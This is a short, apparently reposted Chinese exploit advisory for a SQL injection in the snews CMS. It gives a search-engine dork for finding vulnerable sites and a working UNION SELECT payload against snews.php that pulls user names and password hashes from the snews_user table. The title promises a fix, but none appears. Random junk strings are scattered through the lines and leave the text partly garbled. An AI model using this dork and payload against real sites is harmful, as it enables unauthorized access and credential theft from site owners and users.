CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
作者: By onestree
下载地址 : http://snewscms.com/
' q1 R0 D* l# }% P% l( j& }& ^测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"
+ C( l, E9 V: P
; c! I8 r: N, I& E
$ z4 X: a1 e4 e* ?8 |- s  p0 x*************************************************************
+ d  B0 d5 ~8 o  V/ G8 V1 |
/ P! A* O  i& W0 U9 ?0 aSQL poc:
1 _- P0 f; X7 J3 U) d) O" T( v' u+ J
5 g7 g5 G- M6 ~# c& Uhttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
2 w3 U7 G8 t5 I9 F6 D
示例
& x+ y2 y  ?: }$ _
) p4 n- c( O3 U/ j  ihttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
) J  z+ B8 b- C5 \, ]! S5 X

致谢:

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder
9 y3 N' H6 N3 n" y. T5 Y
spesial my hunny :*
/ M+ W6 p! S* g* {9 Y8 S